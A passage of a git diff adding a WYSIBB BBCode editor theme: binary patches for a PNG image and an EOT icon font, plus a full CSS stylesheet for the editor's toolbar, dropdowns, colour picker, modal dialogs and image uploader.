ze2;_cTno>o^6l6ywEd;rWZC6{4>nC`wY|i11SDGgc=eh04|W8H8P8>Otv3z*(Kcs# z!8;Yf7NNAEl1f2HEFnO0EGCxr0X?pLwSCxvgVDs{ z22K1699+&p7vtpM>~0*KoLw9oT#V-{M>z+v$?N-(&*$^~@jmaM-MW?8+TLOqCev)_ z9Xel3#@S8!e|m5=L#HgM^+^{GNn{3y(QG_Gpy`?;)Ip{_yY~^58D;}Gy*}w1w-pP! zoS9&_*!3x!Vak=*H?0XGV1P!Br?TJQe_(-QtL$#UfQDa1W2Z3>P50#EyU&f+4l^qk}D?A@X5f|k-9E^BDmgPi46mt}j z3uhiN%)c~0U2R)4U(=N8hnBZ`XeNgQdz^>!j zI0_eN!%&)DNKDT{OT# zB<0#CT-w()+{6g3Pb2FnaPA|!9$*(N3Rax;xfIvxExGpkT%@&Jo+iU5*ZS8rr$^K~ z$#P{{x>?yCdDQCxHTBzfKVQ=aAvSfb7k?T2Iy$Os6i!`u{_Xb*^}!|k$HTpBV|w}7 pc4_bH;iH$E=cA46t2<|y(^r_!(YYsw;8XG{nP#n}zqxt$@gEplCp!QD literal 0 HcmV?d00001 diff --git a/css/wysibb/theme/default/img/wysibb.png b/css/wysibb/theme/default/img/wysibb.png new file mode 100644 index 0000000000000000000000000000000000000000..0c689fadd0791cae103783225fb23b1896fe50cb GIT binary patch literal 1241 zcmeAS@N?(olHy`uVBq!ia0vp^%0SG`!3HG1s+lkWDajJoh?3y^w370~qErUQl>DSr z1<%~X^wgl##FWaylc_cg49p6dArU1JzCKpT`MG+DAT@dwxdlMo3=B5*6$OdO*{LN8 zNvY|XdA3ULckfqH$V{%1*XSQL?vFu&J;D8jzb> zlBiITo0C^;Rbi_HHrEQs1_|pcDS(xfWZNo192Makpx~Tel&WB=XP}#GU}m6TW~gUq zY+`P1uA^XNU}&IkV5Dzoq-$tyWo%?+V4wg6Nh+i#(Mch>H3D2mX;thjEr=FDs+o0^GXscbn}XpVJ5hw7AF^F7L;V>=P7_pOiaoz zEwNPsx)kDt+yc06!V;*iRM zRQ;gT;{4L0WMIUlDTAykuyQU+O)SYT3dzsUfrVl~Mt(_taYlZDf^)E`LU?9gN`84U zShcUOm1kaYNn&1ds;7&s5>UThW@d_&tA&A~xw(a_lYzOTp`ojxg{!lLv!R=#nT3;) zk*kXVOs`9Ra%paAUI|QZ3PP_NPQ9RnkXrz>*(J3ovn(~mttdZN0qkL`Ox$j9#%Uf@ zZwhX=xZu>Q4|I$^C|Z%C872fwJ0K=J(E>T}WS^P`OzTC!ME%)TZYBc*qraz%V@SoV zGa(0a4;%1=H2r(cJB#-b?;}AQr~0~Ea}}fx*8U3Zf8ZBT-c-d>+O$mA!u>%=jO_8& zMmwbjh0;kUlr=Mr`xft>x^btck!xVZifx&*7_6J;9{d(l-NH5FdoX*%Y^OMtzR5qA z?K|-B`j*?Lobp&Q!Y3#*EfrFTocTg<)8gEdSLz?U^W%%YX1HTwm3fnb$O8F@R;kF4 z3)X2-f$CS{go=)w$xnFT8l!!Art&t8359A$*gQOycD|8R3$^VyKkIj#M}pvg#lych zEPp(&C}G06cS2vZuWL_QpZee6@~UYw?K7>{J-mG~akazA2kJAw2if|6lC7S9xzI9m zqVmBRH}>Ay9dEH}?wN@%mw0`Yt4+2O$S<9LBW&gQnXmRZzS&vlFz;uT-iIHv!u}ec zIdE(0rd&bqrB$oh{_M!kjZ#X|{WbP0 Hl+XkKXGXdc literal 0 HcmV?d00001 diff --git a/css/wysibb/theme/default/wbbtheme.css b/css/wysibb/theme/default/wbbtheme.css new file mode 100644 index 0000000..ef7f184 --- /dev/null +++ b/css/wysibb/theme/default/wbbtheme.css @@ -0,0 +1,913 @@ +/* wysibb */ +@font-face { + font-family: 'WysiBBiconFont'; + src: url('../fonts/WysiBBiconFontAH.eot'); + src: url('../fonts/WysiBBiconFontAH.eot?#iefix') format('embedded-opentype'), url('../fonts/WysiBBiconFontAH.ttf') format('truetype'); + font-weight: normal; + font-style: normal; +} + +html { + height: 100% !important; +} + +.wysibb-body { + overflow-x: hidden +} + +.wysibb-body ul, ol { + padding: 0 0 0 30px +} + +.wysibb { + margin: 0 0 15px 0 !important; + border: 1px solid #ddd; + position: relative; + background: #fff; + font-family: Arial, Verdana, Tahoma; + font-size: 12px; + width: 600px; +} + +.wysibb-texarea { + border: none !important; + margin: 0 !important; + outline: none !important; + padding: 0 !important; + width: 100% !important; +} + +/* TOOLBAR */ +.wysibb .wysibb-toolbar { + background: #f4f4f4; + + background-image: linear-gradient(bottom, #eee 50%, #fafafa 100%); + background-image: -o-linear-gradient(bottom, #eee 50%, #fafafa 100%); + background-image: -moz-linear-gradient(bottom, #eee 50%, #fafafa 100%); + background-image: -webkit-linear-gradient(bottom, #eee 50%, #fafafa 100%); + background-image: -ms-linear-gradient(bottom, #eee 50%, #fafafa 100%); + +} + +.wysibb .wysibb-toolbar { + border-bottom: 1px solid #ddd; + position: relative; + padding: 0 60px 0 4px; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container { + margin: 4px 4px 4px 0; + border-right: 1px solid #ddd; + padding: 0 8px 0 4px; + display: inline-block; + *display: inline; + zoom: 1; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn { + display: inline-block; + *display: inline; + zoom: 1; + height: 24px; + min-width: 24px; + position: relative; + vertical-align: middle; + padding: 0px 1px; + cursor: pointer; + margin: 0 0 0 1px; + font-size: 12px; + border: 1px solid transparent; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .dis, .wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.dis:hover { + opacity: 0.3; + cursor: default; + overflow: hidden; + border: 0; + padding: 1px 2px; + background: transparent; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.on, .wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.on:hover { + background: #ccc; + padding: 0px 1px; + box-shadow: inset 0px 0px 3px #aaa; + border: 1px solid #999; + border-radius: 3px; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn span.btn-inner { + display: block; + height: 20px; + min-width: 20px; + margin: 2px; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn span.btn-tooltip { + display: none; + background: #333; + border: 1px solid #fff; + position: absolute; + line-height: 20px; + font-size: 11px; + padding: 3px 10px; + bottom: 30px; + left: 0; + color: #fff; + border-radius: 3px; + white-space: nowrap; + z-index: 10000; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn span.btn-tooltip ins { + width: 0; + height: 0; + border-left: 10px solid transparent; + border-right: 10px solid transparent; + border-top: 10px solid #333; + position: absolute; + bottom: -5px; + left: 3px; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn span.btn-text { + text-transform: uppercase; + font-family: sans-serif, Verdana, Tahoma; + font-weight: bold; + line-height: 20px; + text-align: center; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn:hover { + padding: 0px 1px; + border: 1px solid #bbb; + /* box-shadow:-1px 1px 1px #aaa; */ + border-radius: 3px; + background: #fff; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn:hover span.btn-tooltip { + display: block; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn .fonticon { + color: #333; + font-family: 'WysiBBiconFont'; + font-size: 18px; + line-height: 20px; + text-shadow: 0px 1px 0px #fff; + text-align: center; + /* -webkit-font-smoothing: antialiased; */ + speak: none; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn:hover .fonticon { + color: #000; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.on .fonticon { + text-shadow: none; + color: #000; +} + +.wysibb .wysibb-toolbar .modeSwitch { + text-align: center; + position: absolute; + right: 0; + top: 0px; + border: 0; +} + +.wysibb .wysibb-toolbar .modeSwitch .wysibb-toolbar-btn { + /* width:46px; */ +} + +.modesw { + font-weight: bold; + font-size: 0.9em; + line-height: 20px; + text-align: center; + display: block; +} + +.ve-tlb-bold { + background: url(./img/icons.png) 0 0 no-repeat; + width: 20px; +} + +.ve-tlb-italic { + background: url(./img/icons.png) 0 -40px no-repeat; + width: 20px; +} + +.ve-tlb-underline { + background: url(./img/icons.png) 0 -20px no-repeat; + width: 20px; +} + +.ve-tlb-strike { + background: url(./img/icons.png) 0 -120px no-repeat; + width: 20px; +} + +.ve-tlb-link { + background: url(./img/icons.png) 0 -80px no-repeat; + width: 20px; +} + +.ve-tlb-unlink { + background: url(./img/icons.png) 0 -100px no-repeat; + width: 20px; +} + +.ve-tlb-img { + background: url(./img/icons.png) 0 -60px no-repeat; + width: 20px; +} + +.ve-tlb-quote { + background: url(./img/icons.png) 0 -140px no-repeat; + width: 20px; +} + +.ve-tlb-spoiler { + background: url(./img/icons.png) 0 -160px no-repeat; + width: 20px; +} + +.ve-tlb-list { + background: url(./img/icons.png) 0 -180px no-repeat; + width: 20px; +} + +.ve-tlb-bbcode { + background: url(./img/icons.png) 0 -200px no-repeat; + width: 40px !important; + margin: 1px auto !important; + height: 20px; +} + +.ve-tlb-numlist { + background: url(./img/icons.png) 0 -220px no-repeat; + width: 20px; +} + +.ve-tlb-textleft { + background: url(./img/icons.png) 0 -240px no-repeat; + width: 20px; +} + +.ve-tlb-textcenter { + background: url(./img/icons.png) 0 -260px no-repeat; + width: 20px; +} + +.ve-tlb-textright { + background: url(./img/icons.png) 0 -280px no-repeat; + width: 20px; +} + +.ve-tlb-offtopic { + background: url(./img/icons.png) 0 -300px no-repeat; + width: 20px; +} + +.ve-tlb-code { + background: url(./img/icons.png) 0 -320px no-repeat; + width: 20px; +} + +.ve-tlb-spoiler { + background: url(./img/icons.png) 0 -340px no-repeat; + width: 20px; +} + +.ve-tlb-sub { + background: url(./img/icons.png) 0 -360px no-repeat; + width: 20px; +} + +.ve-tlb-sup { + background: url(./img/icons.png) 0 -380px no-repeat; + width: 20px; +} + +.ve-tlb-colorpick { + /* background: url(./img/icons.png) 5px -436px; */ + width: 24px; + height: 24px; + line-height: 24px; + text-align: right; +} + +.ve-tlb-table { + background: url(./img/icons.png) 0 -460px; + width: 20px; +} + +.ve-tlb-smilebox { + background: url(./img/icons.png) 0 -480px; + width: 20px; +} + +.ve-tlb-video { + background: url(./img/icons.png) 0 -500px; + width: 20px; +} + +.ve-tlb-removeformat { + background: url(./img/icons.png) 0 -540px; + width: 20px; +} + +.tthotkey { + color: #ddd; + font-size: 9px; +} + +/* END TOOLBAR */ + +/* CONTENT */ +.wysibb-text { + margin: 5px; +} + +.wysibb-text .wysibb-text-iframe { + max-width: 100%; + width: 100%; + margin: 0; +} + +.wysibb-body { + text-align: left; + min-width: 0 !important; + overflow: auto !important; + margin: 0 !important; + padding: 0 !important; +} + +.wysibb-text-editor { + outline: none +} + +.bottom-resize-line { + height: 5px; + cursor: ns-resize; +} + +.bottom-resize-line:hover, .bottom-resize-line.drag { + background: #eee +} + +/* END CONTENT */ + +/* DEFAULT STYLES */ +.codetop { + background: #eee; + border-left: 1px dashed #78c5ed; + border-right: 1px dashed #78c5ed; + border-top: 1px dashed #78c5ed; + border-bottom: 1px solid #ccc; + padding: 2px 5px; +} + +.codemain { + padding: 10px; + background: #f4fbff; + border-left: 1px dashed #78c5ed; + border-right: 1px dashed #78c5ed; + border-bottom: 1px dashed #78c5ed; +} + +.quote { + border: 1px solid #0004e4; + border-left: 3px solid #0004e4; + padding: 15px; + margin-left: 30px; +} + +.quote blockquote { + margin: 0; +} + +.quote-by { + margin-left: 30px; +} + +.wbbtab { + margin-left: 30px; +} + +/* END DEFAULT STYLES */ + +/* DROPDOWN */ +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-dropdown { + padding-right: 10px; + +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-dropdown ins.ar { + display: block; + position: absolute; + right: 3px; + top: 0px; + width: 9px; + height: 24px; + /* background: url(./img/icons.png) -8px -400px; */ + cursor: default; + text-decoration: none; + font-size: 14px; + padding: 0 2px; + line-height: 24px; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-dropdown:hover, .wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-dropdown.on { + padding-right: 10px; + /* background-position: 14px -399px; */ +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-dropdown.dis, .wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-dropdown.dis:hover { + /* padding-right:9px; */ +} + +.wbb-list { + display: none; + position: absolute; + top: 24px; + left: -217px; + border: 1px solid #bbb; + box-shadow: 0px 0px 3px #aaa; + width: 190px; + padding: 5px; + background: #fff; + max-height: 220px; + overflow: auto; + z-index: 1000; +} + +/* END DROPDOWN */ + +/* COLORPICKER */ +.ve-tlb-colorpick .cp-line { + display: block; + position: absolute; + width: 20px; + height: 3px; + background: black; + bottom: 3px; + left: 7px; +} + +.wbb-list .sc { + width: 16px; + height: 16px; + margin: 0 0 1px 1px; + display: inline-block; + *display: inline; + zoom: 1; + cursor: pointer; + border: 1px solid #fff; +} + +.wbb-list .sc:hover { + border: 1px solid #333; +} + +.wbb-list .nc { + height: 24px; + line-height: 24px; + text-align: center; + color: #666; + margin: 0 1px 5px 1px; +} + +.wbb-list .nc:hover { + background: #eee; +} + +.wbb-list .pl { + display: block; + height: 5px; +} + +/* END COLORPICKER */ + +/* TABLE PICKER */ +.tbl-sel { + border: 1px solid #ddd; + position: absolute; + cursor: pointer; +} + +.tbl-sel:hover { + background: #eee; +} + +.wbb-table td { + border: 1px dashed #DDD; + padding: 3px; + margin: 5px; + min-width: 5px; + min-height: 15px; +} + +/* TABLE PICKER */ + +/* SELECT */ +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-select, .wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-select.dis:hover { + width: 100px; + padding: 1px 1px 1px 5px; + border: 1px solid transparent; + background: transparent; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-select:hover { + border: 1px solid #bbb; + background: #fff; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-select.on { + padding: 1px 1px 1px 5px; + border: 1px solid #999; + background: #ccc; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-select .wbb-list { + width: 280px; + padding: 0; + max-height: 250px; +} + +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-select .sar { + display: block; + position: absolute; + right: 3px; + top: 3px; + width: 10px; + height: 22px; + cursor: default; + font-size: 14px; + text-decoration: none; + padding: 0 3px; +} + +.wbb-select .val { + height: 24px; + line-height: 24px; + font-weight: bold; + font-size: 11px; + display: block; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + margin-right: 10px; +} + +.wbb-select .option { + display: block; + padding: 3px 10px; + white-space: nowrap; + cursor: pointer; +} + +.wbb-select .option:hover { + background: #dff0ff; +} + +.wbb-select .option.selected { + background: #cce7fe; + border-top: 1px solid #96cdfe; + border-bottom: 1px solid #96cdfe; +} + +/* END SELECT */ + +/* SMILEBOX TOOLBAR */ +.wysibb .wysibb-toolbar .wysibb-toolbar-container .wysibb-toolbar-btn.wbb-smilebox .wbb-list { + width: 500px; +} + +.smile { + /*width: 16px;*/ + /*height: 16px;*/ + line-height: 20px; + padding: 5px; + display: inline-block; + *display: inline; + zoom: 1; + cursor: pointer; + vertical-align: middle; +} + +.smile img { + /*max-width: 16px;*/ + /*max-height: 16px;*/ + border: #e0e0e0 1px solid; +} + +/* END SMILEBOX TOOLBAR */ + +/* MODAL WINDOW */ +/* thx http://habrahabr.ru/post/148515/ */ +#wbbmodal { + font: 12px/1.2 Arial, Verdana; + position: fixed; + text-align: center; + bottom: 0; + left: 0; + top: 0; + right: 0; + overflow: auto; + -webkit-overflow-scrolling: touch; + background: rgba(255, 255, 255, 0.7); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = #7Fffffff, endColorstr = #7Fffffff); + zoom: 1; + z-index: 1000; +} + +#wbbmodal .wbbm { + background: #fff; + text-align: left; + min-width: 400px; + max-width: 800px; + min-height: 200px; + max-height: 800px; + margin: 50px auto; + border: 1px solid #bbb; + box-shadow: 0px 0px 10px #999; +} + +#wbbmodal .wbbm-title { + color: #333; + position: relative; + padding: 5px 10px; + border-bottom: 1px solid #ccc; +} + +#wbbmodal .wbbm-title .wbbm-title-text { + font-size: 1.6em; + line-height: 2em; + margin: 0; + padding: 0; +} + +#wbbmodal .wbbm-title .wbbclose { + display: block; + text-transform: uppercase; + position: absolute; + right: 15px; + top: 15px; + font-size: 21px; + font-weight: bold; + cursor: pointer; + color: #888; +} + +#wbbmodal .wbbm-title .wbbclose:hover { + color: red; +} + +#wbbmodal .wbbm-content { + /*height:100%*/ +} + +#wbbmodal .wbbm .wbbm-tablist { + width: 160px; + float: left; + padding: 20px 5px; +} + +#wbbmodal .wbbm .wbbm-tablist ul { + list-style-type: none; + padding: 0; + margin: 0; +} + +#wbbmodal .wbbm .wbbm-tablist ul li { + height: 14px; + padding: 10px 10px 10px 20px; + cursor: pointer; + margin: 5px 0; + position: relative; + border-radius: 3px; +} + +#wbbmodal .wbbm .wbbm-tablist ul li.on, #wbbmodal .wbbm .wbbm-tablist ul li.on:hover { + background: #666; + color: #fff; + cursor: default; +} + +#wbbmodal .wbbm .wbbm-tablist ul li:hover { + background: #eee; +} + +#wbbmodal .wbbm-cont { + padding: 20px; + min-height: 100px; +} + +#wbbmodal .wbbm-content { + min-height: 100px; +} + +#wbbmodal .hastabs .wbbm-bottom, #wbbmodal .hastabs .wbbm-cont { + margin-left: 170px; + border-left: 1px solid #ccc; +} + +#wbbmodal .div-modal-text { + min-height: 18px; + border: 1px solid #aaa; + padding: 3px; + line-height: 18px; + max-height: 100px; + overflow: auto; +} + +#wbbmodal .wbbm-bottom { + + border-top: 1px solid #ccc; + + padding: 10px; + background: #f1f1f1; +} + +#wbbmodal button { + display: inline-block; + *display: inline; + zoom: 1; + font-size: 0.9em; + font-weight: bold; +} + +#wbbmodal .wbb-button { + background: #0055e4; + background-image: linear-gradient(bottom, #0054e4 50%, #005fff 67%); + background-image: -o-linear-gradient(bottom, #0054e4 50%, #005fff 67%); + background-image: -moz-linear-gradient(bottom, #0054e4 50%, #005fff 67%); + background-image: -webkit-linear-gradient(bottom, #0054e4 50%, #005fff 67%); + background-image: -ms-linear-gradient(bottom, #0054e4 50%, #005fff 67%); + color: #fff; + line-height: 26px; + border: 1px solid #0055e4; + border-radius: 3px; + padding: 2px 10px; + cursor: pointer; +} + +#wbbmodal .wbb-button:hover { + background: #005fff; + border: 1px solid #0049C4; +} + +#wbbmodal .wbb-cancel-button { + background: #f5f5f5; + color: #333; + line-height: 26px; + border: 1px solid #ddd; + border-radius: 3px; + padding: 2px 10px; + cursor: pointer; + margin-left: 15px; +} + +#wbbmodal .wbb-cancel-button:hover { + background: #fff; + border: 1px solid #ccc; +} + +#wbbmodal .wbb-remove-button { + background: #db0000; + color: #fff; + line-height: 26px; + border: 1px solid #ca0000; + border-radius: 3px; + padding: 2px 10px; + cursor: pointer; + float: right; +} + +#wbbmodal .wbb-remove-button:hover { + background: #f80000; + border: 1px solid #be0000; +} + +#wbbmodal .wbbm-inp-row { + margin-bottom: 15px; +} + +#wbbmodal .wbbm-inp-row label { + display: block; + font-weight: bold; + margin-bottom: 3px; +} + +#wbbmodal .wbbm-inp-row input { + height: 26px; + padding: 0px 3px; + line-height: 24px; + font-size: 12px; + width: 100%; + border: 1px solid #aaa; + outline: none; + box-sizing: border-box; +} + +#wbbmodal .wbbm-inperr { + color: red; + font-size: 10px; + display: block; +} + +#wbbmodal .wbbm-brdred { + border-color: red !important; +} + +/* IMAGE UPLOAD */ +#wbbmodal #imguploader { + text-align: center; +} + +#wbbmodal #imguploader.drag { + border: 3px dashed #ccc; +} + +#wbbmodal #imguploader.drag.dragover { + background: #feffe4; +} + +#wbbmodal #imguploader.drag.wbb-loading { + padding: 40px 0; +} + +#wbbmodal #imguploader.drag .p { + font-size: 2em; + color: #aaa; + margin-top: 15px; +} + +#wbbmodal #imguploader.drag .p2 { + color: #AAA; +} + +#wbbmodal #imguploader.drag .fileupload { + margin: 15px 0; +} + +#wbbmodal .fileupload { + margin: 40px 0; + position: relative; +} + +#wbbmodal .dragupload { + margin: 10px 0 15px 0; + position: relative; +} + +#wbbmodal .fileupload input.file { + opacity: 0; + filter: alpha(opacity = 0); + width: 230px; + height: 32px !important; + position: absolute; + top: 2px; + left: 50%; + margin-left: -115px; + display: block; +} + +.loader { + margin: 30px 0; +} + +.upl-error { + color: red; + display: block; +} + +.powered { + display: block; + position: absolute; + bottom: -18px; + right: 5px; + font-size: 10px; +} + +/* END IMAGE UPLOAD */ +/* MODAL WINDOW */ + +/* PHPBB3 */ +.content-phpbb3 { + font-size: 13px; + line-height: normal !important; +} + +.content-phpbb3 .codebox dt { + float: none; + width: 100%; +} + +.content-phpbb3 .codebox dd { + margin: 0 !important; +} diff --git a/css/wysibb/theme/fonts/WysiBBiconFontAH.eot b/css/wysibb/theme/fonts/WysiBBiconFontAH.eot new file mode 100644 index 0000000000000000000000000000000000000000..146286ccf4a1e89a7ec26e7d3a19037d281bdd5e GIT binary patch literal 9032 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%0DXq zuEy16^~35H)!W*G+NZUbFpKm+*S7mNb^|l$U$op%qtk<4?{NnWV#S2$1&tAEVEA0F3ua~!Wo_wr%4foH^9XG*ixZ&Pnbe&8$ z*#-{q#;;|vKca-2?>q`UOPE*0lM&O|E7x|mj8b9H7&l%o4jM|ue6g4>4Hhx@H(JQA zxOQLNy7u_RE0>L8VemI32rIPw+A;PU09gtLIqdWzm$=LouHtP{=PvH%9^5(mxSt1j zkhk#=5Az6*@)(cv1aDWLynL}fI5_3Nk^_ql9CYBY1BV<~c3{ncGY*_};HU$~95~{@ z!w#I@hed~e(cxEg_!k}eMTcL};a_agsXOy+KC^>^P$|~Wal7rmPdD~o9xRr#jE(KQ z#dF4{VZFL!N&ROmss6V0l$lEIt{c|U(t66OHj;)lM%Y-RVOV;-xoKsns@Dx`kdQ$d z@#@mLv2E<`HVwEpAO*B$>>9fuw>K#F?VeiSSV}gR z8|!8RebtB7(UBzS9aecu%2^s{t0;_0%~ETp)-A1;eFe=g>z&3H1vW zubL;}waWr^f|wu{^a6V|T-_Jm$2Sw_LeB=B=%)?|Hp7 z5S_O4Y=agf^i4bK*mD8jbK_z0sA)hD$c7P8-}Ejt28!APDHC&BIBa6i2MxQg0r}=2 z)!c^lzVmnWu*X=)oUwS#Vv{f7CIc$VTW*LW*H5oA%WF;>8=(3*pN}K+PEYS{?75_@ zbupXl!KyqM=+5RXZ*Gqh^yT&hg8tl|NHCDwlL!W(E`n{jJ%wN>x2F;e=k_#$k=&k6 zFq*T}>|5j=1Mev2#KD_j0=x;fgEzq>coXaZZ-SlRO|T2R33h`wK?A%ArgB)RZ^NiT 